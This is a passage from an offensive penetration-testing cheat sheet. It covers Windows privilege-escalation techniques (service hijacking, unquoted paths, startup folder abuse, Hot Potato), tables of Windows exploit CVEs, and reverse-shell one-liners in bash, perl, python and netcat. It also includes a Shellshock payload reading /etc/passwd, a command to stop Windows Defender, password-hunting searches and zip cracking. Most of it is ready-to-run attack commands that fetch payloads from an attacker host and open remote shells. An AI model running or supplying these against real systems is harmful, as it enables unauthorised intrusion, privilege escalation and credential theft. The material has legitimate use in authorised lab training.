msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > program.exe
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/program.exe', 'C:\Temp\program.exe')
copy /y c:\Temp\program.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
sc start filepermsvc

Startup applications¶

Detection¶

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

C:\>icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup BUILTIN\Users:(F)
                                                             TCM-PC\TCM:(I)(OI)(CI)(DE,DC)
                                                             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                                             BUILTIN\Administrators:(I)(OI)(CI)(F)
                                                             BUILTIN\Users:(I)(OI)(CI)(RX)
                                                             Everyone:(I)(OI)(CI)(RX)

If the user you're connecte with has full access ‘(F)’ to the directory (here Users) then it's vulnerable.

Exploitation¶

# Attacker
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > program.exe
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/program.exe', '.\program.exe')

To execute it with elevated privileges we need to wait for someone in the Admin group to login.

Weak service permission¶

Detection¶

# Find all services authenticated users have modify access onto
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

if SERVICE_ALL_ACCESS then vulnerable

# Find all weak folder permissions per drive.
accesschk.exe /accepteula -uwdqs Users c:\
accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\

# Find all weak file permissions per drive.
accesschk.exe /accepteula -uwqs Users c:\*.*
accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*

or

powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

[*] Checking service permissions...

ServiceName   : daclsvc
Path          : "C:\Program Files\DACL Service\daclservice.exe"
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart    : True

or

winPEAS.exe

[+] Interesting Services -non Microsoft-(T1007)

daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped
    YOU CAN MODIFY THIS SERVICE: WriteData/CreateFiles

[+] Modifiable Services(T1007)
    LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
    daclsvc: WriteData/CreateFiles

Exploitation¶

# Attacker
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/nc.exe', '.\nc.exe')
sc config <SERVICENAME> binpath= "<PATH>\nc.exe <IP> <PORT> -e cmd.exe"
sc start <SERVICENAME>
or 
net start <SERVICENAME>

Unquoted service paths¶

Detection¶

powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

[*] Checking for unquoted service paths...

ServiceName    : unquotedsvc
Path           : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\;IdentityReference=NT AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart     : True

ServiceName    : unquotedsvc
Path           : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart     : True

or

winPEAS.exe

[+] Interesting Services -non Microsoft-(T1007)

unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected

Exploitation¶

# Attacker
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > Common.exe
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
cd "C:\Program Files\Unquoted Path Service\"
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/Common.exe', '.\Common.exe')
sc start unquotedsvc

Hot potato¶

Exploitation¶

# Attacker
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/nc.exe', '.\nc.exe')
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/Tater.ps1.exe', '.\Tater.ps1.exe')
powershell -exec bypass -command "& { Import-Module .\Tater.ps1; Invoke-Tater -Trigger 1 -Command '.\nc.exe <IP> <PORT> -e cmd.exe' }"

CVE¶

# Already compiled exploit
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/abatchy17/WindowsExploits

Windows XP¶

CVE

Description

CVE-2002-1214

ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS

CVE-2003-0352

ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service

CVE-2003-0533

MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service

CVE-2003-0719

ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private communication target overflow

CVE-2003-0812

ms03_049_netapi - exploits a stack buffer overflow in the NetApi32

CVE-2003-0818

ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library

CVE-2003-0822

ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051

CVE-2004-0206

ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service

CVE-2010-3138

EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse

CVE-2010-3147

EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via a Trojan horse

CVE-2010-3970

ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC files - code execution

CVE-2011-1345

Internet Explorer does not properly handle objects in memory - allows remote execution of code via object

CVE-2011-5046

EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution

CVE-2012-4349

Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root

Windows 7¶

CVE

Description

CVE-2010-0232

ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit

CVE-2010-2568

ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files (.LNK) - run a payload

CVE-2010-2744

EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privileges escalation

CVE-2010-3227

EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution

CVE-2014-4113

ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution

CVE-2014-4114

ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution

CVE-2015-0016

ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer’s sandbox - code execution

CVE-2018-8494

remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input

Windows 8¶

CVE

Description

CVE-2013-0008

ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one - privilege escalation

CVE-2013-1300

ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation

CVE-2013-3660

ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows memory corruption

CVE-2013-3918

ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control - code execution

CVE-2013-7331

ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine’s filenames

CVE-2014-6324

ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation

CVE-2014-6332

ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability

CVE-2014-6352

ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution

CVE-2015-0002

ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation

Windows 10¶

CVE

Description

CVE-2015-0057

exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine

CVE-2015-1769

MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege

CVE-2015-2426

ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver

CVE-2015-2479

MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege

CVE-2015-2513

MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution

CVE-2015-2423

MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure

CVE-2015-2431

MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution

CVE-2015-2441

MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows remote code execution

Windows Server 2003¶

CVE

Description

CVE-2008-4250

ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypassing NX

CVE-2017-8487

allows an attacker to execute code when a victim opens a specially crafted file - remote code execution

PROOFS¶

Linux¶

echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "

Windows¶

echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\Administrator\Desktop\proof.txt"

REVERSE SHELL¶

Amazing tool for shell generation¶

# Download
git clone https://github.com/ShutdownRepo/shellerator

# Install requirements
pip3 install --user -r requirements.txt

# Executable from anywhere
sudo cp shellrator.py /bin/shellrator

Bash¶

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Perl¶

perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python¶

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Netcat¶

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

More reverse shell¶

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Interactive shell¶

# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Bash
echo os.system('/bin/bash')

# Sh
/bin/bash -i

# Perl
perl -e 'exec "/bin/bash"'

# Ruby
exec "/bin/bash"

# Lua
os.execute('/bin/bash')

Adjust Interactive shell¶

stty size # Find your terminal size -> 50 235
Ctrl-Z
stty raw -echo  // Disable shell echo
fg
export SHELL=bash
export TERM=xterm OR export TERM=xterm-256color
stty rows 50 columns 235

SHELLSHOCK¶

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" <URL>/cgi-bin/<SCRIPT>

USEFUL LINUX COMMANDS¶

Find a file¶

locate <FILE>
find / -name "<FILE>"

Active connection¶

List all SUID files¶

find / -perm -4000 2>/dev/null

Determine the current version of Linux¶

Determine more information about the environment¶

List processes running¶

List the allowed (and forbidden) commands for the invoking use¶

USEFUL WINDOWS COMMANDS¶

net config Workstation
systeminfo
net users

ipconfig /all
netstat -ano

schtasks /query /fo LIST /v
tasklist /SVC
net start
DRIVERQUERY

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

dir /s pass == cred == vnc == .config
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Disable windows defender
sc stop WinDefend

# Bypass restriction
powershell -nop -ep bypass

# List hidden files
dir /a

# Find a file
dir /b/s "<FILE>"

ZIP¶

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' file.zip

zip2john file.zip > zip.john
john --wordlist=<PASSWORDS_LIST> zip.john